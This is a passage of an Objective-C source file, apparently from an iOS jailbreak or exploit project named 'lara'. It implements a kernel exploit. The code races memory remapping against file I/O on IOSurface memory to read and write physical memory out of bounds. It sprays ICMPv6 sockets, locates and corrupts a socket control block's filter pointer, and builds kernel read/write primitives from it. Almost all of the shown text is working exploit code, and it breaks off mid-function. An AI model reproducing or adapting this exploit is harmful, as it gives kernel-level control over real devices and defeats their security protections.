//
//  darksword.m
//  lara
//
//  Created by ruter on 23.03.26.
//

#include "darksword.h"
#include "persistence.h"
#include "utils.h"
#include "xpaci.h"
#include "offsets.h"
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <stdbool.h>
#include <stdarg.h>
#include <string.h>
#include <strings.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <pthread.h>
#include <sys/uio.h>
#include <sys/utsname.h>
#include <sys/sysctl.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/icmp6.h>
#include <mach/mach.h>
#include <mach/mach_error.h>
#include <mach-o/dyld.h>
#include <CoreFoundation/CoreFoundation.h>
#import <Foundation/Foundation.h>
#include <limits.h>

extern kern_return_t mach_vm_map(vm_map_t, mach_vm_address_t *, mach_vm_size_t,
    mach_vm_offset_t, int, mem_entry_name_port_t, memory_object_offset_t,
    boolean_t, vm_prot_t, vm_prot_t, vm_inherit_t);
extern kern_return_t mach_vm_allocate(vm_map_t, mach_vm_address_t *, mach_vm_size_t, int);
extern kern_return_t mach_vm_deallocate(vm_map_t, mach_vm_address_t, mach_vm_size_t);
extern int fileport_makeport(int fd, mach_port_t *port);
extern int fileport_makefd(mach_port_t port);
extern int proc_name(int pid, void *buffer, uint32_t buffersize);
extern int proc_pidpath(int pid, void *buffer, uint32_t buffersize);

#ifndef PROC_PIDPATHINFO_MAXSIZE
#define PROC_PIDPATHINFO_MAXSIZE (4 * PATH_MAX)
#endif

uint64_t grcgadgetpacia = 0;

typedef struct __IOSurface *IOSurfaceRef;
extern IOSurfaceRef IOSurfaceCreate(CFDictionaryRef properties);
extern void        *IOSurfaceGetBaseAddress(IOSurfaceRef surface);
extern void         IOSurfacePrefetchPages(IOSurfaceRef surface);

static ds_log_callback_t g_log_callback = NULL;
static ds_progress_callback_t g_progress_callback = NULL;

void ds_set_log_callback(ds_log_callback_t callback) {
    g_log_callback = callback;
}

void ds_set_progress_callback(ds_progress_callback_t callback) {
    g_progress_callback = callback;
}

static void ds_progress(double progress) {
    static double g_max_progress = 0.0;

    if (progress < 0.0) progress = 0.0;
    if (progress > 0.99) progress = 0.99;

    if (progress < g_max_progress) return;
    g_max_progress = progress;

    if (g_progress_callback) g_progress_callback(progress);
}

static void pe_log(const char *fmt, ...) __attribute__((format(printf, 1, 2)));
static int pe_log_file_fd(void) {
    static int fd = -2;
    if (fd != -2) return fd;

    fd = -1;
    @autoreleasepool {
        NSArray<NSString *> *dirs = NSSearchPathForDirectoriesInDomains(NSDocumentDirectory, NSUserDomainMask, YES);
        NSString *docs = dirs.firstObject;
        if (docs.length == 0) return fd;

        NSString *path = [docs stringByAppendingPathComponent:@"lara.log"];
        fd = open(path.fileSystemRepresentation, O_WRONLY | O_CREAT | O_APPEND, 0644);
    }
    return fd;
}

static void pe_log_file_write(const char *message) {
    int fd = pe_log_file_fd();
    if (fd < 0) return;

    char line[1200];
    int len = snprintf(line, sizeof(line), "(ds) %s\n", message);
    if (len <= 0) return;
    if (len >= (int)sizeof(line)) len = (int)sizeof(line) - 1;
    write(fd, line, (size_t)len);
    fsync(fd);
}

static void pe_log(const char *fmt, ...) {
    char buf[1024];
    va_list ap;
    va_start(ap, fmt);
    vsnprintf(buf, sizeof(buf), fmt, ap);
    va_end(ap);
    pe_log_file_write(buf);
    if (g_log_callback) g_log_callback(buf);
    else printf("(pe) %s\n", buf);
}

#define uwrite64(a, v)  (*(volatile uint64_t *)(uintptr_t)(a) = (uint64_t)(v))
#define uread64(a)      (*(volatile uint64_t *)(uintptr_t)(a))

static void *reverse_memmem(const void *haystack, size_t haystack_len, const void *needle, size_t needle_len) {
    if (needle_len == 0) return (void *)haystack;
    if (haystack_len < needle_len) return NULL;

    const char *h = (const char *)haystack;
    const char *n = (const char *)needle;
    for (size_t i = haystack_len - needle_len + 1; i-- > 0;) {
        if (memcmp(h + i, n, needle_len) == 0) {
            return (void *)(h + i);
        }
    }
    return NULL;
}

static void cmp8_wait_for_change(volatile uint64_t *ptr, uint64_t old_val) {
    while (*ptr == old_val) ;
}

#define PAGE_SZ          0x4000ULL
#define F_NOCACHE_       48
#define EARLY_KRW_LENGTH 0x20ULL

static bool g_ds_ready = false;

static uint64_t random_marker;
static uint64_t wired_page_marker;

static uint64_t target_file_size;
static uint64_t oob_offset = 0x100;
static uint64_t oob_size   = 0xf00;
static uint64_t n_of_oob_pages = 2;

static uint64_t pc_address;
static uint64_t pc_size;
static mach_port_t pc_object;

static uint64_t free_target;
static uint64_t free_target_size;
static int write_fd;
static int read_fd;

static volatile uint64_t *free_thread_start_ptr;
static volatile uint64_t *free_target_sync_ptr;
static volatile uint64_t *free_target_size_sync_ptr;
static volatile uint64_t *target_object_sync_ptr;
static volatile uint64_t *target_object_offset_sync_ptr;
static volatile uint64_t *go_sync_ptr;
static volatile uint64_t *race_sync_ptr;

static char *executable_name;
static bool running_in_rehosted_process = false;
static bool likely_livecontainer_guest = false;
static bool livecontainer_bundle_detected = false;

#define MAX_PROCESS_MARKERS 8
#define PROCESS_MARKER_MAX_LEN 64
static char process_markers[MAX_PROCESS_MARKERS][PROCESS_MARKER_MAX_LEN];
static size_t process_marker_count = 0;
static char guest_executable_name[PROCESS_MARKER_MAX_LEN];
static char kernel_process_name[PROCESS_MARKER_MAX_LEN];
static char host_executable_name[PROCESS_MARKER_MAX_LEN];

static double g_lastprogress = 0.0;

static inline void ds_progresssafe(double p) {
    ds_progress(p);
}

BOOL stashkrw(void) {
    return [[NSUserDefaults standardUserDefaults] boolForKey:@"stashKRW"];
}

static void addprocmarker(const char *marker) {
    if (!marker || marker[0] == '\0') {
        return;
    }

    size_t len = strnlen(marker, PROCESS_MARKER_MAX_LEN - 1);
    if (len == 0) {
        return;
    }

    for (size_t i = 0; i < process_marker_count; i++) {
        if (strncmp(process_markers[i], marker, PROCESS_MARKER_MAX_LEN) == 0) {
            return;
        }
    }

    if (process_marker_count >= MAX_PROCESS_MARKERS) {
        return;
    }

    memset(process_markers[process_marker_count], 0, PROCESS_MARKER_MAX_LEN);
    memcpy(process_markers[process_marker_count], marker, len);
    process_marker_count++;
}

static void addprocmarker_variants(const char *marker) {
    addprocmarker(marker);

    size_t len = strnlen(marker ?: "", PROCESS_MARKER_MAX_LEN - 1);
    if (len > 15) {
        char truncated[16] = {0};
        memcpy(truncated, marker, 15);
        addprocmarker(truncated);
    }
}

static void initprocmarkers(void) {
    memset(guest_executable_name, 0, sizeof(guest_executable_name));
    memset(kernel_process_name, 0, sizeof(kernel_process_name));
    memset(host_executable_name, 0, sizeof(host_executable_name));
    memset(process_markers, 0, sizeof(process_markers));
    process_marker_count = 0;
    running_in_rehosted_process = false;
    likely_livecontainer_guest = false;
    livecontainer_bundle_detected = islcruntime();

    char executable_path[PROC_PIDPATHINFO_MAXSIZE] = {0};
    uint32_t length = sizeof(executable_path);
    if (_NSGetExecutablePath(executable_path, &length) != 0) {
        executable_path[0] = '\0';
    }

    const char *guest_name = executable_path[0] ? strrchr(executable_path, '/') : NULL;
    guest_name = guest_name ? guest_name + 1 : executable_path;
    if (guest_name && guest_name[0] != '\0') {
        snprintf(guest_executable_name, sizeof(guest_executable_name), "%s", guest_name);
        executable_name = guest_executable_name;
    } else {
        executable_name = NULL;
    }

    char host_executable_path[PROC_PIDPATHINFO_MAXSIZE] = {0};
    if (proc_pidpath(getpid(), host_executable_path, sizeof(host_executable_path)) > 0) {
        const char *host_name = strrchr(host_executable_path, '/');
        host_name = host_name ? host_name + 1 : host_executable_path;
        if (host_name && host_name[0] != '\0') {
            snprintf(host_executable_name, sizeof(host_executable_name), "%s", host_name);
        }
    }

    int proc_name_length = proc_name(getpid(), kernel_process_name, sizeof(kernel_process_name));
    if (proc_name_length <= 0) {
        kernel_process_name[0] = '\0';
    }

    likely_livecontainer_guest = livecontainer_bundle_detected;
    running_in_rehosted_process = likely_livecontainer_guest;

    if (running_in_rehosted_process) {
        if (likely_livecontainer_guest) {
            addprocmarker_variants("LiveProcess");
        }
        addprocmarker_variants(kernel_process_name);
        addprocmarker_variants(host_executable_name);
        addprocmarker_variants(guest_executable_name);
    } else {
        addprocmarker_variants(guest_executable_name);
        addprocmarker_variants(kernel_process_name);
    }

    pe_log("executable_path:       %s", executable_path[0] ? executable_path : "(unknown)");
    pe_log("host_executable_path:  %s", host_executable_path[0] ? host_executable_path : "(unknown)");
    pe_log("guest_executable_name: %s", guest_executable_name[0] ? guest_executable_name : "(unknown)");
    pe_log("host_executable_name:  %s", host_executable_name[0] ? host_executable_name : "(unknown)");
    pe_log("kernel_process_name:   %s", kernel_process_name[0] ? kernel_process_name : "(unknown)");
    pe_log("livecontainer_bundle:  %s", livecontainer_bundle_detected ? "yes" : "no");
    pe_log("livecontainer_guest:   %s", likely_livecontainer_guest ? "yes" : "no");
    pe_log("rehosted_process:      %s", running_in_rehosted_process ? "yes" : "no");
    
    for (size_t i = 0; i < process_marker_count; i++) {
        pe_log("process_marker %zu: %s", i, process_markers[i]);
    }
}

int control_socket;
int rw_socket;
static uint64_t control_socket_pcb;
static uint64_t rw_socket_pcb;

uint64_t kernel_base;
uint64_t kernel_slide;
uint64_t kernel_entry;
static uint64_t our_proc;
static uint64_t our_task;

static uint64_t highest_success_idx;
static uint64_t success_read_count;
static bool is_a18_devices;

#define MAX_SOCKET_PORTS 32768
static mach_port_t socket_ports[MAX_SOCKET_PORTS];
static uint64_t    socket_pcb_ids[MAX_SOCKET_PORTS];
static uint64_t    socket_ports_count;

static uint8_t control_data[EARLY_KRW_LENGTH];
static uint8_t early_kwrite64_write_buf[EARLY_KRW_LENGTH];
static struct iovec iov;

#define MAX_MLOCK 4096
static struct { uint64_t address; IOSurfaceRef surf; } mlock_dict[MAX_MLOCK];
static int mlock_dict_count;

static pthread_t free_thread_jsthread;

#define MAX_GENCNT 256
static uint64_t target_inp_gencnt_list[MAX_GENCNT];
static int target_inp_gencnt_count;

static uint8_t socket_info[0x400];

static uint64_t getsockopt_read_length = 32;
static uint8_t  getsockopt_read_data[32];

static uint8_t kwrite_length_buffer[EARLY_KRW_LENGTH];

static uint8_t *default_file_content;

static void *free_thread(void *arg) {
    cmp8_wait_for_change(free_thread_start_ptr, 0);

    uint64_t ft      = *free_target_sync_ptr;
    uint64_t ft_size = *free_target_size_sync_ptr;

    cmp8_wait_for_change(go_sync_ptr, 0);

    while (uread64((uint64_t)go_sync_ptr) != 0) {
        cmp8_wait_for_change(race_sync_ptr, 0);

        mach_port_t target_object        = (mach_port_t)*target_object_sync_ptr;
        uint64_t    target_object_offset = *target_object_offset_sync_ptr;
        if (target_object == MACH_PORT_NULL || ft == 0 || ft_size == 0) {
            uwrite64((uint64_t)race_sync_ptr, 0);
            continue;
        }

        mach_vm_address_t addr = ft;
        
        kern_return_t kr = mach_vm_map(
            mach_task_self(), &addr, ft_size, 0,
            VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE,
            target_object, target_object_offset,
            FALSE, VM_PROT_DEFAULT, VM_PROT_DEFAULT, VM_INHERIT_NONE);

        if (kr != KERN_SUCCESS) {
            pe_log("mach_vm_map failed in free_thread! kr=%d (%s)", kr, mach_error_string(kr));
            pe_log("    free_target: 0x%llx, target_size: 0x%llx, target_object: 0x%x, target_offset: 0x%llx",
                   ft, ft_size, target_object, target_object_offset);
        }

        uwrite64((uint64_t)race_sync_ptr, 0);
    }
    return NULL;
}

static void create_target_file(const char *path) {
    FILE *fd = fopen(path, "w");
    if (!fd) { pe_log("fopen failed: %s", path); return; }
    fwrite(default_file_content, 1, target_file_size, fd);
    fclose(fd);
}

static void init_target_file(void) {
    char read_file_path[1024], write_file_path[1024];

    confstr(_CS_DARWIN_USER_TEMP_DIR, read_file_path, 1024);
    confstr(_CS_DARWIN_USER_TEMP_DIR, write_file_path, 1024);

    char suffix[32];
    snprintf(suffix, sizeof(suffix), "/%08x", arc4random());
    strcat(read_file_path, suffix);
    snprintf(suffix, sizeof(suffix), "/%08x", arc4random());
    strcat(write_file_path, suffix);

    create_target_file(read_file_path);
    create_target_file(write_file_path);

    read_fd  = open(read_file_path, O_RDWR);
    write_fd = open(write_file_path, O_RDWR);
    pe_log("read_fd: 0x%x", read_fd);
    pe_log("write_fd: 0x%x", write_fd);

    remove(read_file_path);
    remove(write_file_path);
    fcntl(read_fd,  F_NOCACHE_, 1);
    fcntl(write_fd, F_NOCACHE_, 1);
}

static void create_physically_contiguous_mapping(mach_port_t *port,
                                                  uint64_t *address, uint64_t size) {
    CFMutableDictionaryRef dict = CFDictionaryCreateMutable(kCFAllocatorDefault, 0,
        &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);
    int64_t sz = (int64_t)size;
    CFNumberRef cf_number = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt64Type, &sz);
    CFDictionarySetValue(dict, CFSTR("IOSurfaceAllocSize"), cf_number);
    CFDictionarySetValue(dict, CFSTR("IOSurfaceMemoryRegion"), CFSTR("PurpleGfxMem"));

    IOSurfaceRef surface = IOSurfaceCreate(dict);
    CFRelease(dict);
    if (!surface) { pe_log("failed to create IOSurface!"); return; }

    void *physical_mapping_address = IOSurfaceGetBaseAddress(surface);
    pe_log("physical_mapping_address: %p", physical_mapping_address);

    memory_object_size_t entry_size = size;
    mach_port_t memory_object = MACH_PORT_NULL;
    kern_return_t kr = mach_make_memory_entry_64(mach_task_self(), &entry_size,
        (mach_vm_address_t)physical_mapping_address,
        VM_PROT_DEFAULT, &memory_object, MACH_PORT_NULL);
    if (kr != KERN_SUCCESS) { pe_log("mach_make_memory_entry_64 failed!"); return; }

    mach_vm_address_t new_mapping_address = 0;
    kr = mach_vm_map(mach_task_self(), &new_mapping_address, size, 0,
        VM_FLAGS_ANYWHERE | VM_FLAGS_RANDOM_ADDR,
        memory_object, 0, FALSE, VM_PROT_DEFAULT, VM_PROT_DEFAULT, VM_INHERIT_NONE);
    if (kr != KERN_SUCCESS) { pe_log("mach_vm_map failed!"); return; }

    CFRelease(surface);
    CFRelease(cf_number);
    *port = memory_object;
    *address = (uint64_t)new_mapping_address;
}

static void initialize_physical_read_write(uint64_t contiguous_mapping_size) {
    pc_size = contiguous_mapping_size;
    create_physically_contiguous_mapping(&pc_object, &pc_address, pc_size);
    pe_log("pc_object: 0x%x", pc_object);
    pe_log("pc_address: 0x%llx", pc_address);

    for (uint64_t i = 0; i < pc_size; i += 8)
        uwrite64(pc_address + i, random_marker);

    free_target = pc_address;
    free_target_size = pc_size;
    uwrite64((uint64_t)free_target_sync_ptr, free_target);
    uwrite64((uint64_t)free_target_size_sync_ptr, free_target_size);
    uwrite64((uint64_t)free_thread_start_ptr, 1);
    uwrite64((uint64_t)go_sync_ptr, 1);
}

static IOSurfaceRef create_surface_with_address(uint64_t address, uint64_t size) {
    CFMutableDictionaryRef properties = CFDictionaryCreateMutable(kCFAllocatorDefault, 0,
        &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);

    int64_t addr_val = (int64_t)address;
    CFNumberRef address_number = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt64Type, &addr_val);
    CFDictionarySetValue(properties, CFSTR("IOSurfaceAddress"), address_number);

    int64_t size_val = (int64_t)size;
    CFNumberRef size_number = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt64Type, &size_val);
    CFDictionarySetValue(properties, CFSTR("IOSurfaceAllocSize"), size_number);

    IOSurfaceRef surface = IOSurfaceCreate(properties);
    IOSurfacePrefetchPages(surface);
    CFRelease(address_number);
    CFRelease(size_number);
    CFRelease(properties);
    return surface;
}

static void surface_mlock(uint64_t address, uint64_t size) {
    IOSurfaceRef surf = create_surface_with_address(address, size);
    if (mlock_dict_count < MAX_MLOCK) {
        mlock_dict[mlock_dict_count].address = address;
        mlock_dict[mlock_dict_count].surf = surf;
        mlock_dict_count++;
    }
}

static void surface_munlock(uint64_t address, uint64_t size) {
    for (int i = 0; i < mlock_dict_count; i++) {
        if (mlock_dict[i].address == address && mlock_dict[i].surf) {
            CFRelease(mlock_dict[i].surf);
            mlock_dict[i].surf = NULL;
            return;
        }
    }
}

static kern_return_t physical_oob_read_mo(mach_port_t mo, uint64_t mo_offset, uint64_t size, uint64_t offset, void *buffer) {
    uwrite64((uint64_t)target_object_sync_ptr, (uint64_t)mo);
    uwrite64((uint64_t)target_object_offset_sync_ptr, mo_offset);

    iov.iov_base = (void *)(uintptr_t)(pc_address + 0x3f00);
    iov.iov_len  = offset + size;
    *(uint64_t *)buffer = random_marker;
    uwrite64(pc_address + 0x3f00 + offset, random_marker);

    bool read_race_succeeded = false;
    ssize_t w = 0;
    for (uint64_t try_idx = 0; try_idx < highest_success_idx + 100; try_idx++) {
        uwrite64((uint64_t)race_sync_ptr, 1);
        w = pwritev(read_fd, &iov, 1, 0x3f00);
        cmp8_wait_for_change(race_sync_ptr, 1);

        mach_vm_address_t addr = pc_address;
        kern_return_t kr = mach_vm_map(mach_task_self(), &addr, pc_size, 0,
            VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE,
            pc_object, 0, FALSE, VM_PROT_DEFAULT, VM_PROT_DEFAULT, VM_INHERIT_NONE);
        if (kr != KERN_SUCCESS) { pe_log("mach_vm_map failed (oob_read)!"); return kr; }

        if (w == (ssize_t)-1) {
            ssize_t r = pread(read_fd, buffer, size, 0x3f00 + offset);
            (void)r;
            uint64_t marker = *(uint64_t *)buffer;
            if (marker != random_marker) {
                read_race_succeeded = true;
                success_read_count++;
                if (try_idx > highest_success_idx)
                    highest_success_idx = try_idx;
                break;
            } else {
                usleep(1);
            }
        }
        if (try_idx == 500) break;
    }

    uwrite64((uint64_t)target_object_sync_ptr, 0);
    if (!read_race_succeeded) return 1;
    return KERN_SUCCESS;
}

static void physical_oob_read_mo_with_retry(mach_port_t memory_object,
                                              uint64_t seeking_offset,
                                              uint64_t oob_sz, uint64_t oob_off,
                                              void *read_buffer)
{
    while (true) {
        kern_return_t kr = physical_oob_read_mo(memory_object, seeking_offset,
                                                 oob_sz, oob_off, read_buffer);
        if (kr == KERN_SUCCESS) break;
    }
}

static void physical_oob_write_mo(mach_port_t mo, uint64_t mo_offset,
                                   uint64_t size, uint64_t offset, void *buffer)
{
    uwrite64((uint64_t)target_object_sync_ptr, (uint64_t)mo);
    uwrite64((uint64_t)target_object_offset_sync_ptr, mo_offset);

    iov.iov_base = (void *)(uintptr_t)(pc_address + 0x3f00);
    iov.iov_len  = offset + size;
    pwrite(write_fd, buffer, size, 0x3f00 + offset);

    for (uint64_t try_idx = 0; try_idx < 20; try_idx++) {
        uwrite64((uint64_t)race_sync_ptr, 1);
        preadv(write_fd, &iov, 1, 0x3f00);
        cmp8_wait_for_change(race_sync_ptr, 1);

        mach_vm_address_t addr = pc_address;
        kern_return_t kr = mach_vm_map(mach_task_self(), &addr, pc_size, 0,
            VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE,
            pc_object, 0, FALSE, VM_PROT_DEFAULT, VM_PROT_DEFAULT, VM_INHERIT_NONE);
        if (kr != KERN_SUCCESS) { pe_log("mach_vm_map failed (oob_write)!"); return; }
    }
    uwrite64((uint64_t)target_object_sync_ptr, 0);
}

static pthread_mutex_t krwLock = PTHREAD_MUTEX_INITIALIZER;
static void set_target_kaddr(uint64_t where) {
    if(!ds_isvalid(where)) {
        printf("(ds) kaddr isn't valid: 0x%llx\n", where);
        
        pthread_mutex_unlock(&krwLock);
        @throw [NSException exceptionWithName:@"dsexception"
                                       reason:[NSString stringWithFormat:@"set_target_kaddr got invalid kaddr 0x%llx", where]
                                        userInfo:nil];
    }
    memset(control_data, 0, EARLY_KRW_LENGTH);
    *(uint64_t *)control_data = where;
    int res = setsockopt(control_socket, IPPROTO_ICMPV6, ICMP6_FILTER,
                          control_data, (socklen_t)EARLY_KRW_LENGTH);
    if (res != 0) {
        pe_log("setsockopt failed (set_target_kaddr)!");
        pthread_mutex_unlock(&krwLock);
        @throw [NSException exceptionWithName:@"dsexception"
                                        reason:@"setsockopt failed (set_target_kaddr)"
                                        userInfo:nil];
    }
}

static void early_kread(uint64_t where, void *read_buf, uint64_t size) {
    pthread_mutex_lock(&krwLock);
    if (size > EARLY_KRW_LENGTH) { pe_log("error: size > EARLY_KRW_LENGTH"); return; }
    set_target_kaddr(where);
    socklen_t read_data_length = (socklen_t)size;
    int res = getsockopt(rw_socket, IPPROTO_ICMPV6, ICMP6_FILTER, read_buf, &read_data_length);
    if (res != 0) { pe_log("getsockopt failed (early_kread)!"); }
    pthread_mutex_unlock(&krwLock);
}

static uint64_t early_kread64(uint64_t where) {
    uint64_t value = 0;
    early_kread(where, &value, 8);
    return value;
}

static void early_kwrite32bytes(uint64_t where, void *write_buf) {
    pthread_mutex_lock(&krwLock);
    set_target_kaddr(where);
    int res = setsockopt(rw_socket, IPPROTO_ICMPV6, ICMP6_FILTER,
                          write_buf, (socklen_t)EARLY_KRW_LENGTH);
    if (res != 0) { pe_log("setsockopt failed (early_kwrite32bytes)!"); }
    pthread_mutex_unlock(&krwLock);
}

static void early_kwrite64(uint64_t where, uint64_t what) {
    early_kread(where, early_kwrite64_write_buf, EARLY_KRW_LENGTH);
    *(uint64_t *)early_kwrite64_write_buf = what;
    early_kwrite32bytes(where, early_kwrite64_write_buf);
}

static void kread_length(uint64_t address, void *buffer, uint64_t size) {
    uint64_t remaining = size, read_offset = 0, read_size = 0;
    while (remaining != 0) {
        read_size = (remaining >= EARLY_KRW_LENGTH) ? EARLY_KRW_LENGTH : remaining;
        early_kread(address + read_offset, (uint8_t *)buffer + read_offset, read_size);
        remaining -= read_size;
        read_offset += read_size;
    }
}

static void kwrite_length(uint64_t dst, void *src, uint64_t size) {
    uint64_t remaining = size, write_offset = 0, write_size = 0;
    while (remaining != 0) {
        write_size = (remaining >= EARLY_KRW_LENGTH) ? EARLY_KRW_LENGTH : remaining;
        uint64_t kwrite_dst_addr = dst + write_offset;
        uint8_t *kwrite_src_addr = (uint8_t *)src + write_offset;
        if (write_size != EARLY_KRW_LENGTH)
            kread_length(kwrite_dst_addr, kwrite_length_buffer, EARLY_KRW_LENGTH);
        memcpy(kwrite_length_buffer, kwrite_src_addr, write_size);
        early_kwrite32bytes(kwrite_dst_addr, kwrite_length_buffer);
        remaining -= write_size;
        write_offset += write_size;
    }
}

static mach_port_t spray_socket(void) {
    pthread_set_qos_class_self_np(QOS_CLASS_BACKGROUND, 0);
    int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_ICMPV6);
    pthread_set_qos_class_self_np(QOS_CLASS_USER_INITIATED, 0);
    if (fd == -1) { return (mach_port_t)-1; }

    mach_port_t output_socket_port = MACH_PORT_NULL;
    fileport_makeport(fd, &output_socket_port);
    close(fd);

    memset(socket_info, 0, sizeof(socket_info));
    syscall(336, 6, getpid(), 3, output_socket_port, socket_info, 0x400);
    uint64_t inp_gencnt = *(uint64_t *)(socket_info + 0x110);

    socket_ports[socket_ports_count]   = output_socket_port;
    socket_pcb_ids[socket_ports_count] = inp_gencnt;
    return output_socket_port;
}

static void sockets_release(void) {
    for (uint64_t sock_idx = 0; sock_idx < socket_ports_count; sock_idx++) {
        mach_port_deallocate(mach_task_self(), socket_ports[sock_idx]);
    }
    socket_ports_count = 0;
}

static int64_t find_and_corrupt_socket(mach_port_t memory_object, uint64_t seeking_offset,
                                        void *read_buffer, void *write_buffer,
                                        bool do_read) {
    if (do_read) physical_oob_read_mo_with_retry(memory_object, seeking_offset, oob_size, oob_offset, read_buffer);

    bool target_found = false;
    uint64_t pcb_start_offset = 0;
    uint64_t icmp6filt_offset = off_inpcb_inp_depend6_inp6_icmp6filt;
    uint64_t corrupted_filter_marker = 0x0000ffffffffffffULL;
    const char *matched_marker = NULL;

    for (uint64_t search_start_idx = 0; search_start_idx < oob_size;) {
        // ---- progress 0.51 → 0.59 stable scan phase ----
        static uint64_t last_progress_step = 0;

        uint64_t steps_total = oob_size / 0x400;
        uint64_t step = search_start_idx / 0x400;

        // clamp + monotonic guarantee
        if (step > steps_total) step = steps_total;

        double t = (double)step / (double)steps_total;
        double stage_progress = 0.51 + (t * 0.08);

        // only update if it actually moved forward meaningfully
        uint64_t progress_bucket = (uint64_t)(stage_progress * 1000);

        if (progress_bucket > last_progress_step) {
            last_progress_step = progress_bucket;
            ds_progresssafe(stage_progress);
        }
        
        void *best_found = NULL;
        const char *best_marker = NULL;

        for (size_t marker_idx = 0; marker_idx < process_marker_count; marker_idx++) {
            const char *marker = process_markers[marker_idx];
            size_t marker_length = strnlen(marker, PROCESS_MARKER_MAX_LEN);
            if (marker_length == 0) {
                continue;
            }

            void *candidate = memmem((uint8_t *)read_buffer + search_start_idx, oob_size - search_start_idx, marker, marker_length);
            if (candidate && (!best_found || candidate < best_found)) {
                best_found = candidate;
                best_marker = marker;
            }
        }

        if (!best_found) {
            break;
        }

        uint64_t found_offset = (uint8_t *)best_found - (uint8_t *)read_buffer;
        void *filter_found = reverse_memmem(read_buffer, found_offset, &corrupted_filter_marker, sizeof(corrupted_filter_marker));
        if (filter_found != NULL) {
            uint64_t filter_offset = (uint8_t *)filter_found - (uint8_t *)read_buffer;
            if (filter_offset >= icmp6filt_offset + 0x8) {
                uint64_t candidate_pcb_start_offset = filter_offset - (icmp6filt_offset + 0x8);
                if (candidate_pcb_start_offset + icmp6filt_offset + 0x10 <= oob_size) {
                    pcb_start_offset = candidate_pcb_start_offset;
                    matched_marker = best_marker;
                    target_found = true;
                    break;
                }
            }
        }

        search_start_idx = found_offset + 1;
    }

    if (target_found) {
        if (matched_marker) {
            pe_log("matched PCB via process marker: %s", matched_marker);
        }
        pe_log("pcb_start_offset: 0x%llx", pcb_start_offset);
        uint64_t target_inp_gencnt = *(uint64_t *)((uint8_t *)read_buffer + pcb_start_offset + 0x78);
        pe_log("target_inp_gencnt: 0x%llx", target_inp_gencnt);

        if (target_inp_gencnt == socket_pcb_ids[socket_ports_count - 1]) {
            pe_log("found last PCB");
            return -1;
        }

        bool is_our_pcb = false;
        int64_t control_socket_idx = -1;
        for (uint64_t sock_idx = 0; sock_idx < socket_ports_count; sock_idx++) {
            if (socket_pcb_ids[sock_idx] == target_inp_gencnt) {
                is_our_pcb = true;
                control_socket_idx = (int64_t)sock_idx;
                break;
            }
        }
        if (!is_our_pcb) { pe_log("found freed PCB page!"); return -1; }

        for (int i = 0; i < target_inp_gencnt_count; i++) {
            if (target_inp_gencnt_list[i] == target_inp_gencnt) {
                pe_log("found old PCB page!");
                return -1;
            }
        }
        target_inp_gencnt_list[target_inp_gencnt_count++] = target_inp_gencnt;

        uint64_t inp_list_next_pointer = *(uint64_t *)((uint8_t *)read_buffer + pcb_start_offset + off_inpcb_inp_list_le_next + 0x8) - off_inpcb_inp_list_le_next;
        uint64_t icmp6filter = *(uint64_t *)((uint8_t *)read_buffer + pcb_start_offset + icmp6filt_offset);
        pe_log("inp_list_next_pointer: 0x%llx", inp_list_next_pointer);
        pe_log("icmp6filter: 0x%llx", icmp6filter);

        rw_socket_pcb = inp_list_next_pointer;

        memcpy(write_buffer, read_buffer, oob_size);
        *(uint64_t *)((uint8_t *)write_buffer + pcb_start_offset + icmp6filt_offset) = inp_list_next_pointer + icmp6filt_offset;
        *(uint64_t *)((uint8_t *)write_buffer + pcb_start_offset + icmp6filt_offset + 8) = 0;

        pe_log("corrupting icmp6filter pointer...");
        uint64_t corrupt_attempt = 0;
        while (true) {
            if (corrupt_attempt < 8 || (corrupt_attempt % 16) == 0) {
                pe_log("corrupt attempt %llu: write target=0x%llx value=0x%llx",
                       corrupt_attempt,
                       (uint64_t)(seeking_offset + oob_offset + pcb_start_offset + icmp6filt_offset),
                       inp_list_next_pointer + icmp6filt_offset);
            }
            physical_oob_write_mo(memory_object, seeking_offset, oob_size, oob_offset, write_buffer);
            if (corrupt_attempt < 8 || (corrupt_attempt % 16) == 0) {
                pe_log("corrupt attempt %llu: write returned", corrupt_attempt);
            }
            physical_oob_read_mo_with_retry(memory_object, seeking_offset, oob_size, oob_offset, read_buffer);
            uint64_t new_icmp6filter = *(uint64_t *)((uint8_t *)read_buffer + pcb_start_offset + icmp6filt_offset);
            if (corrupt_attempt < 8 || (corrupt_attempt % 16) == 0) {
                pe_log("corrupt attempt %llu: read new_icmp6filter=0x%llx",
                       corrupt_attempt,
                       new_icmp6filter);
            }
            if (new_icmp6filter == inp_list_next_pointer + icmp6filt_offset) {
                pe_log("target corrupted: 0x%llx", new_icmp6filter);
                break;
            }
            corrupt_attempt++;
        }

        int sock = fileport_makefd(socket_ports[control_socket_idx]);
        socklen_t gl = (socklen_t)getsockopt_read_length;
        int res = getsockopt(sock, IPPROTO_ICMPV6, ICMP6_FILTER, getsockopt_read_data, &gl);
        if (res != 0) { pe_log("getsockopt failed (corrupt check)!"); return -1; }

        uint64_t marker = *(uint64_t *)getsockopt_read_data;
        if (marker != 0xffffffffffffffffULL) {
            pe_log("found control_socket at idx: 0x%llx", (uint64_t)control_socket_idx);
            control_socket = sock;
            rw_socket = fileport_makefd(socket_ports[control_socket_idx + 1]);
            return KERN_SUCCESS;
        } else {
            pe_log("failed to corrupt control_socket at idx: 0x%llx", (uint64_t)control_socket_idx);
        }
    }
    return -1;
}

static void krw_sockets_leak_forever(void) {
    pe_log("krw leak: control_socket_pcb=0x%llx rw_socket_pcb=0x%llx", control_socket_pcb, rw_socket_pcb);

    uint64_t control_socket_addr = early_kread64(control_socket_pcb + off_inpcb_inp_socket);
    uint64_t rw_socket_addr      = early_kread64(rw_socket_pcb + off_inpcb_inp_socket);
    pe_log("krw leak: control_socket_addr=0x%llx rw_socket_addr=0x%llx", control_socket_addr, rw_socket_addr);
    if (!control_socket_addr || !rw_socket_addr) {
        pe_log("couldn't find control_socket_addr || rw_socket_addr");
        return;
    }
